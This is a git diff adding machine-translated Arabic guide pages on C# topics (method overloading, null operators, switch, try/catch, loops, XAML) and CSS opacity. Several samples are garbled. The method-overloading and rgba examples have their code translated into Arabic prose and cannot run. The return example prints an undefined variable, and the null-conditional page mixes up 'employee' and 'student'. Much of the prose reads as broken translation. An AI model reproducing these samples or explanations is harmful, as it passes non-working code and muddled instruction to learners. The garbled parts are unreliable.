+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Fruits with more than 3 items 
+ var moreThanThree = fruits.Where(f => f.Quantity > 3).ToList(); // { Strawberry, Grape, Apple } 
+ 
+ // Fruits that are not red 
+ var notRed = fruits.Where(f => f.Color != "Red").ToList(); // { Orange, Grape, Pineapple, Mango } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/literal-improvements/index.md b/client/src/guide/arabic/csharp/literal-improvements/index.md
new file mode 100644
index 0000000000..57012c5354
--- /dev/null
+++ b/client/src/guide/arabic/csharp/literal-improvements/index.md
@@ -0,0 +1,17 @@
+---
+title: Literal Improvements
+localeTitle: تحسينات حرفية
+---
# تحسينات حرفية
+
+يتيح C # 7.0 حدوث **_فاصل رقمي_** داخل عدد العناصر الحرفية:
+
+ `var d = 123_456; 
+ var x = 0xAB_CD_EF; 
+` 
+
+يمكنك وضعها أينما تريد بين الأرقام ، لتحسين إمكانية القراءة. ليس لها أي تأثير على القيمة.
+
+أيضا ، يقدم C # 7.0 **_حرفية ثنائية_** ، بحيث يمكنك تحديد أنماط بت مباشرة بدلا من الاضطرار إلى معرفة تدوين سداسي عشري عن ظهر قلب.
+
+ `var b = 0b1010_1011_1100_1101_1110_1111; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/method-overloading/index.md b/client/src/guide/arabic/csharp/method-overloading/index.md
new file mode 100644
index 0000000000..019bffc455
--- /dev/null
+++ b/client/src/guide/arabic/csharp/method-overloading/index.md
@@ -0,0 +1,35 @@
+---
+title: Method Overloading
+localeTitle: طريقة الحمولة الزائدة
+---
+# طريقة الحمولة الزائدة
+
+تم تقديم المعلمات الافتراضية في C # الإصدار 4.0 ، ولكن حتى ذلك ، استخدمت C # coders تقنية مختلفة ، والتي تعمل بشكل أساسي بنفس الطريقة ، تسمى التحميل الزائد للطريقة. يسمح للمبرمج بتعريف عدة طرق بنفس الاسم ، طالما أنها تأخذ مجموعة مختلفة من المعلمات. عند استخدام فئات .NET framework ، فسوف ندرك قريبا أن يتم استخدام التحميل الزائد للطريقة في كل مكان.
+
+## مثال
+
+1.  قم بإنشاء ملف فئة باسم Person.cs & إدخال التعليمة البرمجية التالية. \`\` \` شخص من الطبقة العامة { السلسلة العامة FirstName {get؛ مجموعة خاصة } السلسلة العامة LastName {get؛ جلس؛ }
+    
+    الشخص العام (سلسلة الاسم الأول ، اسم العائلة) { this.FirstName = firstName؛ this.LastName = lastName؛ }
+    
+    السلسلة العامة SayHello (اسم السلسلة) { "مرحبًا يا" + اسم؛ }
+    
+    السلسلة العامة SayHello (الشخص الشخص) { "مرحبًا ، هناك" + شخص. اسم أول + "" + شخص. اسم مستعار ؛ } }
+    
+
+ `2. In your default Program.cs file you can call now this class Person using the method overloading. 
+` 
+
+برنامج الصف { الفراغ الاستاتيكي Main (string \[\] args) { شخص شخص = شخص جديد ("جين" ، "دو") ؛ Console.WriteLine (person.SayHello ("Peter Smith"))؛
+
+ `        Person friend = new Person("Chuck", "Norris"); 
+        Console.WriteLine(person.SayHello(friend)); 
+ 
+        Console.ReadKey(); 
+ 
+ 
+    } 
+ } 
+` 
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/nameof-expressions/index.md b/client/src/guide/arabic/csharp/nameof-expressions/index.md
new file mode 100644
index 0000000000..a2b08a9075
--- /dev/null
+++ b/client/src/guide/arabic/csharp/nameof-expressions/index.md
@@ -0,0 +1,35 @@
+---
+title: nameof Expressions
+localeTitle: nameof التعبيرات
+---
+# nameof التعبيرات
+
+في بعض الأحيان تحتاج إلى اسم سلسلة متغير أو نوع أو عضو لأشياء مثل رفع استثناء أو تسجيل أو إطلاق خاصية تغيير الأحداث. قبل C # 6.0 ، قد تستخدم سلسلة حرفية لهذه الأغراض.
+
+# #
+
+ `public void ProcessStudent(Student student) 
+ { 
+    if (student == null) throw new ArgumentNullException("student"); 
+ } 
+` 
+
+ومع ذلك ، إذا كان سيتم إعادة تسمية المعلمة الطالب ، يجب عليك أن تتذكر أيضا تعديل سلسلة حرفية. الآن مع تعبير nameof ، لن تحتاج إلى استخدام القيم الحرفية للسلسلة وسيتمكن المترجم من تحذيرك إذا كنت تستخدم اسمًا غير صحيح.
+
+# #
+
+ `public void ProcessStudent(Student student) 
+ { 
+    if (student == null) throw new ArgumentNullException(nameof(student)); 
+ } 
+` 
+
+بعض الأمثلة من حيث قد تكون تعبيرات nameof مفيدة تشمل:
+
+*   رمي الاستثناءات أثناء التحقق من صحة المعلمة
+*   تمرير اسم الإجراء عند إعداد روابط إجراءات MVC
+*   الحاجة إلى تمرير اسم خاصية عند إطلاق الحدث الذي تم تغييره في فئة تقوم بتطبيق INotifyPropertyChanged
+*   تمرير اسم خاصية عند تسجيل خاصية تبعية XAML
+*   بما في ذلك المتغير أو النوع أو اسم العضو عند التسجيل
+
+تجدر الإشارة إلى أنه إذا قمت بتوفير nameof باسم مؤهل ، سيقوم المحول البرمجي بإنشاء سلسلة لاسم أقصى اليمين.
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/nested-if-statement/index.md b/client/src/guide/arabic/csharp/nested-if-statement/index.md
new file mode 100644
index 0000000000..6360d7d1d5
--- /dev/null
+++ b/client/src/guide/arabic/csharp/nested-if-statement/index.md
@@ -0,0 +1,24 @@
+---
+title: Nested If Statement
+localeTitle: متداخلة If بيان
+---
+# متداخلة If بيان
+
+يتم استخدام البيان المتداخل If عند إنشاء عبارة if تريد نقطة ثانوية للتحقق أو إذا كانت عبارة داخلها.
+
+ `int Price = 100; 
+ int Quantity = 20; 
+ 
+ if (Price == 100) 
+ { 
+  if (Quantity == 20) 
+  { 
+    Console.WriteLine("Price of an item is 200, and we have 20 in quantity."); 
+  } 
+ } 
+` 
+
+لذلك ، وبما أننا حددنا مسبقاً السعر والكمية ، سيكون الناتج:
+
+ `Price of an item is 200, and we have 20 in quantity. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/null-coalescing-operator/index.md b/client/src/guide/arabic/csharp/null-coalescing-operator/index.md
new file mode 100644
index 0000000000..29b9352b11
--- /dev/null
+++ b/client/src/guide/arabic/csharp/null-coalescing-operator/index.md
@@ -0,0 +1,68 @@
+---
+title: Null-coalescing Operator
+localeTitle: Null-coalescing Operator
+---
+# Null-coalescing Operator
+
+يتم استخدام عامل التوحيد للفرز في C # للمساعدة في تعيين متغير واحد إلى آخر وتحديد قيمة بديلة إذا كانت قيمة المصدر `null` . عامل التوليف في C # هو `??` .
+
+## مثال 1
+
+بما أن `name` `null` ، فسيتم تعيين `name` `clientName` "John Doe".
+
+ `string name = null; 
+ 
+ string clientName = name ?? "John Doe"; 
+ 
+ Console.WriteLine(clientName); 
+` 
+
+ `> John Doe 
+` 
+
+## مثال 2
+
+نظرًا لأن `name` ليس `null` ، فسيتم تعيين `name` `clientName` ، وهو "Jane Smith".
+
+ `string name = "Jane Smith"; 
+ 
+ string clientName = name ?? "John Doe"; 
+ 
+ Console.WriteLine(clientName); 
+` 
+
+ `> Jane Smith 
+` 
+
+## بديل إلى if… else Statement
+
+يمكنك استخدام عبارة `if...else` لاختبار وجود `null` وتعيين قيمة مختلفة.
+
+ `string clientName; 
+ 
+ if (name != null) 
+    clientName = name; 
+ else 
+    clientName = "John Doe"; 
+` 
+
+ومع ذلك ، يمكن تبسيط ذلك إلى حد كبير باستخدام مشغل التوليف الفارغ.
+
+ `string clientName = name ?? "John Doe"; 
+` 
+
+## بديل لمشغل (شرطي) شرطي
+
+من الممكن أيضًا استخدام المشغل الشرطي لاختبار وجود قيمة `null` وتعيين قيمة مختلفة.
+
+ `string clientName = name != null ? name : "John Doe"; 
+` 
+
+مرة أخرى ، يمكن تبسيط ذلك باستخدام مشغل التوليف الفارغ.
+
+ `string clientName = name ?? "John Doe"; 
+` 
+
+## المراجع
+
+*   [؟؟ المشغل (C # مرجع)](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/null-conditional-operator)
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/null-conditional-operator/index.md b/client/src/guide/arabic/csharp/null-conditional-operator/index.md
new file mode 100644
index 0000000000..1a65797533
--- /dev/null
+++ b/client/src/guide/arabic/csharp/null-conditional-operator/index.md
@@ -0,0 +1,55 @@
+---
+title: Null-conditional Operator
+localeTitle: مشغل شرطي لاغية
+---
+# مشغل شرطي لاغية
+
+تسمح عوامل الشرطية خالية التحقق خالية مع الحد الأدنى من التعليمات البرمجية. على سبيل المثال ، إذا كان لديك متغير الموظف من نوع الموظف مع خاصية من نوع العنوان ، قد تفعل فحص فارغ كما يلي:
+
+ `Address address = null; 
+ if (employee != null) 
+ { 
+    address = employee.Address; 
+ } 
+` 
+
+يمكنك استخدام عامل تشغيل شرطي قياسي لجعل ذلك الاختيار أكثر إيجازًا:
+
+ `Address address = employee != null ? employee.Address : null; 
+` 
+
+ومع ذلك ، في C # 6.0 دخلت المشغلين خالية الشرطي ، لذلك الآن يمكن للخط أعلاه ببساطة يتم تمثيله على النحو التالي:
+
+ `Address address = student?.Address; 
+` 
+
+إذا كان الموظف فارغًا ، فسيتم تعيين العنوان ببساطة ، ولن يحدث أي NullReferenceExeception. هذا يصبح أكثر فائدة مع الرسوم البيانية كائن أعمق ، كما يمكنك التعامل مع سلسلة من وصول الأعضاء المشروط.
+
+فمثلا:
+
+ `string city = student?.Address?.City; 
+` 
+
+المشغلين الشرطيين هم دوائر قصيرة ، وذلك بمجرد التحقق من وصول العضو الشرطي إرجاع لا شيء ، والباقي لا يحدث.
+
+# عامل التوليف
+
+وهناك خيار آخر مفيد لفحص الأصفار وهو مشغل التوليف الفارغ. تقوم بإرجاع المعامل الأيسر إذا كان المعامل ليس باطلاً ؛ وإلا فإنها ترجع المعامل الأيمن.
+
+فمثلا:
+
+ `public string GetStringValue() 
+ { 
+    return null; 
+ } 
+ 
+ // Display the value of s if s is NOT null. If x IS null, display the string "It was null." 
+ 
+ string x = GetStringValue(); 
+ 
+ Console.WriteLine(x ?? "It was null."); 
+ 
+ // Result: 
+ 
+ "It was null." 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/nullable-types/index.md b/client/src/guide/arabic/csharp/nullable-types/index.md
new file mode 100644
index 0000000000..756d7173fd
--- /dev/null
+++ b/client/src/guide/arabic/csharp/nullable-types/index.md
@@ -0,0 +1,32 @@
+---
+title: Nullable Types
+localeTitle: أنواع nullable
+---
+## أنواع nullable
+
+أنواع nullable هي مثيلات من [System.Nullable \\](https://docs.microsoft.com/en-us/dotnet/api/system.nullable-1) البنية. يمكن أن يمثل نوع nullable نطاق القيم الصحيح لنوع القيمة الأساسي الخاص به ، بالإضافة إلى قيمة `null` إضافية. هذه القدرة مفيدة للغاية عند التعامل مع قواعد البيانات أو أنواع البيانات الأخرى التي قد تحتوي على عناصر بدون قيمة معينة.
+
+#### كيفية استخدام نوع nullable
+
+ `// Declare a variable of Nullable type (Nullable<int>) 
+ int? i = null; 
+ 
+ int  j = 0; 
+ int defaultValue = 0; 
+ 
+ // test for null and assign value to another variable 
+ if (i.HasValue) 
+ { 
+    j = i.Value; 
+ } 
+ 
+ // get assigned value or default when current value is null 
+ j = i.GetValueOrDefault(); // i.GetValueOrDefault(defaultValue) 
+ 
+ //use coalescing operator to assign default value when current value is null 
+ j = i ?? defaultValue; 
+` 
+
+لمزيد من المعلومات ، قم بزيارة الرابط التالي:
+
+*   [C # Programming Guide: Nullable Types](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/nullable-types/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/return/index.md b/client/src/guide/arabic/csharp/return/index.md
new file mode 100644
index 0000000000..656a9f8f8c
--- /dev/null
+++ b/client/src/guide/arabic/csharp/return/index.md
@@ -0,0 +1,37 @@
+---
+title: Return Statement
+localeTitle: بيان العودة
+---
+# بيان العودة
+
+ينتهي بيان `return` بتنفيذ أسلوب يظهر داخله ويعيد التحكم إلى أسلوب الاستدعاء. قد تكون أو لا ترجع قيمة.
+
+إذا كان بيان `return` داخل كتلة `try` وإذا كان هناك حظر `finally` ، فسيتم تمرير عنصر التحكم إلى `finally` ، وبعد ذلك يتم إعادته إلى طريقة الاستدعاء.
+
+## مثال
+
+ `class Calc 
+ { 
+  static int Sum(int i, int j) 
+  { 
+    return i + j; 
+  } 
+ 
+  static void Main() 
+  { 
+    int a = 4; 
+    int b = 3; 
+    int sum = Sum(a, b); 
+    Console.WriteLine($"The sum of {a} and {b} is {result}"); 
+ 
+    // To keep the console from closing 
+    Console.ReadLine(); 
+  } 
+ } 
+` 
+
+## انتاج:
+
+\`\` \`
+
+> مجموع 4 و 3 هو 7 \`\`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/split/index.md b/client/src/guide/arabic/csharp/split/index.md
new file mode 100644
index 0000000000..ba3f3500f2
--- /dev/null
+++ b/client/src/guide/arabic/csharp/split/index.md
@@ -0,0 +1,30 @@
+---
+title: Split
+localeTitle: انشق، مزق
+---
# طريقة الانقسام
+
+يوزع أسلوب `String.Split` سلسلة: كإدخال ، يأخذ حرف يشير إلى الفاصل ويقوم بإنشاء صفيف سلاسل فرعية.
+
+## مثال
+
+ `string myText = "I like pizza"; 
+ 
+ // Split the string by ' '(space) character. 
+ string[] splitResult = myText.Split(' '); 
+ 
+ // The array splitResult, now contains three substrings. 
+ 
+ // Now print the array of substrings 
+ foreach(string x in splitResult) 
+ { 
+    // Write On Console 
+    Console.WriteLine(x); 
+ } 
+` 
+
+## انتاج:
+
+ `> I 
+ > like 
+ > pizza 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/string-interpolation/index.md b/client/src/guide/arabic/csharp/string-interpolation/index.md
new file mode 100644
index 0000000000..299c04f0a7
--- /dev/null
+++ b/client/src/guide/arabic/csharp/string-interpolation/index.md
@@ -0,0 +1,28 @@
+---
+title: String Interpolation
+localeTitle: الاستيفاء سلسلة
+---
+# الاستيفاء سلسلة
+
+في C # ، عادةً لسَلسَلة السلاسل التي تستخدم إما عامل التشغيل "+" أو التنسيق المركب باستخدام طريقة مثل String.Format. بالتنسيق المركب أُشير إلى سلسلة التنسيق مع العناصر النائبة المفهرسة (عناصر النسق) وقائمة بالعناصر التي سيتم استخدامها في العناصر النائبة.
+
+# #
+
+ `string message = "Hello " + firstName + " " + lastName + "!"; 
+ 
+ string message2 = string.Format("Hello {0} {1}!", firstName, lastName); 
+` 
+
+باستخدام تعبيرات سلسلة متداخلة ، لديك سلسلة تحتوي على تعبيرات مضمنة يتم استبدالها بنتائج التعبيرات. يجب عليك بادئة السلسلة الحرفية الخاصة بك بعلامة الدولار ($). يتم وضع التعبيرات التي تريد تضمينها في السلسلة مضمنة محاطة بأقواس معقوفة. الرسالة المذكورة أعلاه ستبدو الآن كما يلي:
+
+# #
+
+ `string message = $"Hello {firstName} {lastName}!"; 
+` 
+
+**القليل من المعلومات المفيدة** في الاستيفاء سلسلة لديك القدرة على استدعاء وظائف ، والخصائص والمشغلين الثلاثي:
+
+ `int a = 3; 
+ int b = 454; 
+ string result = $"{a}+{b} = {a+b}"; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/substring/index.md b/client/src/guide/arabic/csharp/substring/index.md
new file mode 100644
index 0000000000..fef3a477d0
--- /dev/null
+++ b/client/src/guide/arabic/csharp/substring/index.md
@@ -0,0 +1,24 @@
+---
+title: Substring
+localeTitle: فرعية
+---
# فرعية
+
+مقتطفات `Substring` جزء من قيمة سلسلة. يتم استخدامه مع معلمتين صحيحتين ، الأول هو موقع الحرف الأول (يبدأ بالمؤشر 0) والثاني هو طول الحرف المطلوب.
+
+## مثال
+
+ `string firstSentence = "Apple, I have."; 
+ string secondSentence = "I have a Pen."; 
+ 
+ string apple = firstSentence.Substring(0,5); 
+ string pen = secondSentence.Substring(9,3); 
+ 
+ Console.WriteLine(apple); 
+ Console.WriteLine(pen); 
+` 
+
+## انتاج:
+
+ `>Apple 
+ >Pen 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/switch-case/index.md b/client/src/guide/arabic/csharp/switch-case/index.md
new file mode 100644
index 0000000000..9c63e804c7
--- /dev/null
+++ b/client/src/guide/arabic/csharp/switch-case/index.md
@@ -0,0 +1,49 @@
+---
+title: Switch Case
+localeTitle: تبديل القضية
+---
+# تبديل القضية
+
+رمز التبديل هو عبارة عن بيان اختيار يختار قسم حالة التبديل بناءً على القيمة المطابقة مع التعبير / القيمة التي يتم تقييمها. 1 إذا لم تتطابق أي من عبارات الحالة مع قيمة المتغير المبدّل ، فسيتم اختيار المسار الافتراضي. يشبه عبارة switch جملة من `if statements` . نحن الخروج من التبديل عن طريق `break` .
+
+## مثال
+
+ `public enum Colors { Red, Blue, Green, Orange } 
+ 
+ Colors myColor; 
+ 
+ ... myColor is set to one of the enum values ... 
+ 
+ switch(myColor){ 
+  case Colors.Red: 
+    Console.WriteLine("How you like them apples?"); 
+    break; 
+  case Colors.Blue: 
+    Console.WriteLine("Ice Ice Baby..."); 
+    break; 
+  case Colors.Green: 
+    Console.WriteLine("Fore!"); 
+    break; 
+  default: 
+    Console.WriteLine("I have a hard time when I try to rhyme."); 
+ } 
+` 
+
+## انتاج |
+
+ `If myColor is Colors.Red: 
+ > How you like them apples? 
+ 
+ If myColor is Colors.Blue: 
+ > Ice Ice Baby... 
+ 
+ If myColor is Colors.Green: 
+ > Fore! 
+ 
+ If myColor is Colors.Orange: 
+ > I have a hard time when I try to rhyme. 
+` 
+
+### مصادر:
+
+*   1 https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/switch
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/ternary-operator/index.md b/client/src/guide/arabic/csharp/ternary-operator/index.md
new file mode 100644
index 0000000000..a43cdd67ae
--- /dev/null
+++ b/client/src/guide/arabic/csharp/ternary-operator/index.md
@@ -0,0 +1,40 @@
+---
+title: Ternary operator
+localeTitle: المشغل الثلاثي
+---
+# المشغل الثلاثي ( `?:` :)
+
+يقوم المشغل الثلاثي بإرجاع أحد التعبيرين بناءً على الشرط. يمكن استخدامه كاختصار إذا كان ... عبارة أخرى.
+
+## بناء الجملة
+
+ `condition_expression ? expression_1 : expression_2 
+` 
+
+### معامل
+
+`condition_expression` تعبير منطقي.
+
+`expression_1` تمت إعادته إذا كان `condition_expression` صحيحًا.
+
+`expression_2` تم الإرجاع إذا كان `condition_expression` غير صحيح.
+
+## مثال
+
+ `// initialize - set true or false here to view different result 
+ bool hasFreeSweet = false; 
+ 
+ string str = hasFreeSweet ? "Free sweet!" : "No free sweet."; 
+ 
+ //output in console 
+ Console.WriteLine(str); 
+` 
+
+## انتاج |
+
+ `if hasFreeSweet == true 
+ > Free sweet! 
+ 
+ if hasFreeSweet == false 
+ > No free sweet. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/try-catch/index.md b/client/src/guide/arabic/csharp/try-catch/index.md
new file mode 100644
index 0000000000..664c776550
--- /dev/null
+++ b/client/src/guide/arabic/csharp/try-catch/index.md
@@ -0,0 +1,102 @@
+---
+title: Try Catch Finally
+localeTitle: حاول الصيد في النهاية
+---
+# حاول الصيد في النهاية
+
+يتم استخدام كتلة Try-Catch-Finally لتجنب الاستثناءات غير المعالجة التي تخترق التطبيق الخاص بك. عندما `throws` الكود الاستثناء الذي يقع بين قسم `try` ، سيتم اكتشافه في جزء `catch` من البيان ، حيث يمكنك التعامل معه كما تشاء. و `finally` يتم تشغيل بيان دائما في النهاية وعادة ما يستخدم لتنظيف الموارد غير المدارة. لا تحتاج دائمًا إلى وجود الكتل الثلاث الموجودة ، وفيما يلي الخيارات الصحيحة.
+
+*   محاولة تجميع مياه الأمطار وأخيرا
+*   محاولة-الصيد
+*   محاولة-وأخيرا
+
+## بناء الجملة
+
+ `try 
+ { 
+   // Code which could potentially throw an exception 
+   var parsedValue = Int32.Parse("abcde"); 
+ } 
+ catch(Exception e) 
+ { 
+    // Code to handle the exception 
+    Console.WriteLine("Exception: " + e.Message); 
+ } 
+ finally 
+ { 
+    // Code which will always run no matter what. 
+    Console.WriteLine("Try-Catch block has finished execution"); 
+ } 
+` 
+
+في المثال أعلاه ، نحاول تحويل "abcde" إلى قيمة عددية. سيقوم هذا الخط بطرح استثناء لأنه لا يمكن تحويله إلى رقم بنجاح. سيتم اكتشاف الاستثناء في كتلة catch وسيتم تخزين رسالة الاستثناء والتفاصيل الأخرى في المتغير المعين في كتلة catch (الحرف 'e' في المثال أعلاه). بعد تنفيذ كل هذا ، سيتم تنفيذ القسم "أخيرًا" لإنهائه.
+
+## حاول الحظر
+
+يجب وضع قالب المحاولة حول الكود الذي يمكن أن يتصرف بشكل طبيعي ويتسبب في حدوث `Exception` وكسر تطبيقك. من خلال وجود كتلة المحاولة تحمي نفسك من تعطل تطبيق قاتلة. ومن المهم أن نلاحظ في أقرب وقت التطبيق الخاص بك خطأ ويتم طرح استثناء، والباقي من التعليمات البرمجية في `Try` **لن** يتم تنفيذ كتلة.
+
+كتلة المحاولة لها نطاق طريقة خاص بها ، لذلك لن يتم الوصول إلى أي من المتغيرات التي يتم الإعلان عنها داخل كتلة المحاولة خارج نطاق المحاولة.
+
+ `try 
+ { 
+    // Read user input from the console. 
+    var userInput = Console.ReadLine(); 
+ } 
+ catch(Exception e) 
+ { 
+    Console.WriteLine("Exception: " + e.Message); 
+ } 
+ 
+ //Outside the Try block 
+ var parsedUserInput = Int32.Parse(userInput);  // Not correct 
+` 
+
+سيعطيك ما سبق خطأ في وقت الترجمة لأن القيمة 'userInput' لا يمكن الوصول إليها. إذا كنت تحتاج إلى الوصول إلى متغير خارج كتلة try-catch ستحتاج إلى تعريف المتغير قبل كتلة المحاولة.
+
+ `var userInput = ""; 
+ try 
+ { 
+    // Read user input from the console. 
+    userInput = Console.ReadLine(); 
+ } 
+ catch(Exception e) 
+ { 
+    Console.WriteLine("Exception: " + e.Message); 
+ } 
+ 
+ //Outside the Try block 
+ var parsedUserInput = Int32.Parse(userInput);  // Correct 
+` 
+
+## كتلة الصيد
+
+هذه الكتلة هي المكان الذي تحدد فيه نوع `Exception` الذي تريد التقاطه. إذا كنت تريد التقاط كافة الاستثناءات الممكنة ، يمكنك استخدام الفئة الأساسية `Exception` . إذا كنت تريد فقط التقاط نوع معين من الاستثناء ، فيمكنك تحديد ذلك بدلاً من ذلك. بعض الأمثلة على أنواع الاستثناءات الأخرى هي `ArgumentException` و `OutOfMemoryException` و `FormatException` .
+
+ `try 
+ { 
+   var parsedValue = Int32.Parse("abcde"); 
+ } 
+ // Only FormatExceptions will be caught in this catch block. 
+ catch(FormatException exceptionVariable) 
+ { 
+    Console.WriteLine(exceptionVariable.Message); 
+ } 
+` 
+
+المتغير المعلن بعد نوع الاستثناء سيحتوي على كل بيانات الاستثناء ويمكن استخدامه داخل كتلة `Catch` .
+
+## وأخيرا كتلة
+
+يتم **دائمًا** تشغيل الكتلة الأخيرة في النهاية بعد كتل `Try` and `Catch` . وعادة ما يستخدم هذا القسم لعندما يكون هناك شيء **يجب أن** يحدث في نهاية بغض النظر عما إذا كان طرح استثناء أم لا. على سبيل المثال ، لنفترض أننا بحاجة إلى متغير ليتم إعادة تنشيطه مرة أخرى إلى رقم محدد بعد التلاعب به طوال الوقت.
+
+ `int initalValue = 12; 
+ try 
+ { 
+    // Code which manipulates 'initialValue' 
+ } 
+ finally 
+ { 
+    Console.WriteLine("re-initalising value back to 12"); 
+    initialValue = 12; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/while-loop/index.md b/client/src/guide/arabic/csharp/while-loop/index.md
new file mode 100644
index 0000000000..0af3b8256c
--- /dev/null
+++ b/client/src/guide/arabic/csharp/while-loop/index.md
@@ -0,0 +1,51 @@
+---
+title: While Loop
+localeTitle: حائط اللوب
+---
# حائط اللوب
+
+تقوم حلقة while بتنفيذ كتلة من التعليمة البرمجية حتى يكون الشرط المحدد خاطئًا. نظرًا لأن اختبار التعبير "while" يحدث قبل كل تنفيذ للحلقة ، فإن حلقة while تنفذ صفراً أو أكثر. يختلف هذا عن حلقة do ، التي تنفذ مرة واحدة أو أكثر لأن اختبار التعبير يحدث بعد تنفيذ الحلقة. 1
+
+## مثال
+
+ `int i = 0; 
+ while (i < 5) 
+ { 
+    Console.WriteLine("Number " + i); 
+    i++; 
+ } 
+` 
+
+### انتاج:
+
+ `> Number 0 
+ > Number 1 
+ > Number 2 
+ > Number 3 
+ > Number 4 
+` 
+
+## استخدامات اخرى
+
+غالباً ما يتم استخدام الحلقات while لإفرازات لا نهائية باستخدام (على سبيل المثال) `while (true)` ، فقط أن تنتهي من خلال شرط لا يرتبط بالشرط الأولي للحلقة.
+
+ `int i = 0; 
+ while (true) 
+ { 
+    if(i<50){ 
+        Console.WriteLine("Number " + i); 
+        i++; 
+    } 
+    else{ 
+        Console.WriteLine("End of loop"); 
+        break; 
+    } 
+ } 
+` 
+
+## الخلافات إلى `for` حلقة
+
+أكبر الاختلافات بين `for` و `while` الحلقات هي أن `while` يستخدم عادة عندما مطور غير متأكد من العدد الدقيق للتكرار من حلقة، و `for` يستخدم عندما يكون من الواضح كم عدد مرات تكرار خلال التعليمات البرمجية.
+
+### مصادر
+
+*   [مايكروسوفت ج # - بينما](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/while)
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/xaml/index.md b/client/src/guide/arabic/csharp/xaml/index.md
new file mode 100644
index 0000000000..f27c6f4b76
--- /dev/null
+++ b/client/src/guide/arabic/csharp/xaml/index.md
@@ -0,0 +1,39 @@
+---
+title: Xaml
+localeTitle: XAML
+---
+## XAML: لغة توصيف التطبيق القابلة للتوسيع
+
+إعلان XAML باسم "Zammel" هي لغة علامة تم تطويرها بواسطة Microsoft. يتم استخدام لغة الترميز هذه بشكل أساسي لتصميم واجهة المستخدم الرسومية. كما أنها تحظى بشعبية في قابليتها للاستخدام في سير العمل.
+
+تستخدم مناطق مثل Silverlight و Mobile Development و WPF (Windows Presentation Foindation) و Windows Store XAML بكثافة وتمتد عبر أي CLR و .NET framework
+
+في لغة مبدئية والإجابات ما وكيف. يهدف إلى فصل السلوك عن رمز المصمم.
+
+## مثال
+
+إنشاء TextBlock مع خصائص متعددة. يتم استخدام TextBlocks عادة لإخراج النص ، مثل الكثير من التسميات في الإصدارات القديمة من .NET framework.
+
+ `<TextBlock Text="I am a TextBlock!" 
+    HorizontalAlignment="Left" 
+    FontSize="25" 
+    FontWeight="Bold" 
+    Margin="50,10,0,0" /> 
+` 
+
+### مثال 2
+
+يوضح المثال التالي تسمية "Hello World!" كمحتوى في حاوية مستوى أعلى تسمى UserControl.
+
+ `<UserControl xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"> 
+    <Label Content="Hello World!" /> 
+ </UserControl> 
+` 
+
+### معلومات اكثر:
+
+*   [مقال مبتدئين حول XAML ومحرك WPF](http://www.c-sharpcorner.com/UploadFile/logisimo/a-beginners-article-about-xaml-and-the-wpf-engine/)
+    
+*   [XAML ماجيك: خصائص مرفقة](http://www.codemag.com/article/1405061)
+    
+*   [XAML نظرة عامة (WPF)](https://docs.microsoft.com/en-us/dotnet/framework/wpf/advanced/xaml-overview-wpf)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/background-opacity/index.md b/client/src/guide/arabic/css/background-opacity/index.md
new file mode 100644
index 0000000000..d252475c7d
--- /dev/null
+++ b/client/src/guide/arabic/css/background-opacity/index.md
@@ -0,0 +1,59 @@
+---
+title: Background Opacity
+localeTitle: تعتيم الخلفية
+---
+## تعتيم الخلفية
+
+تحدد خاصية العتامة شفافية / شفافية عنصر ، أي الدرجة التي يكون فيها المحتوى خلف العنصر مرئيًا.
+
+يمكن أن تأخذ خاصية العتامة قيمة من 0.0 - 1.0. القيمة الأقل ، وأكثر شفافية:
+
+العثور على مزيد من التفاصيل [هنا](https://www.w3schools.com/css/css_image_transparency.asp)
+
+يمكنك أن تختار إلى أي مدى تريد أن تجعل العنصر شفافًا. يجب عليك إضافة خاصية CSS التالية لتحقيق مستويات الشفافية.
+
+**كامد بالكامل**
+
+ `.class-name { 
+  opacity:1; 
+ } 
+ 
+ OR 
+ 
+ .class-name { 
+  opacity:1.0; 
+ } 
+` 
+
+**شفافي نصف شفاف**
+
+ `.class-name { 
+  opacity:0.5; 
+ } 
+ Opacity value can be anything between 0 and 1; 
+` 
+
+**شفاف**
+
+ `.class-name { 
+  opacity:0; 
+ } 
+ 
+ OR 
+ 
+ .class-name { 
+  opacity:0.0; 
+ } 
+` 
+
+بدلا من ذلك يمكنك استخدام قيمة rgba شفافة مثل هذا: \`\` \`المغلق
+
+. الطبقة اسم { background-color: rgba (0،0،0، .5)؛ } \`\` \` المثال أعلاه يضبط الخلفية ليكون أسود مع عتامة 50 ٪. القيمة الأخيرة لقيمة rgba هي قيمة alpha. قيمة ألفا 1 تساوي 100٪ ، و 0.5 (.5 للقصير)٪ 50. نستخدم هذه الطريقة لإضافة شفافية إلى عنصر دون التأثير على المحتوى في الداخل.
+
+[مثال codepen لعرض نطاقات عتامة الخلفية](https://codepen.io/lvcoulter/full/dVrwmK/)
+
+#### معلومات اكثر:
+
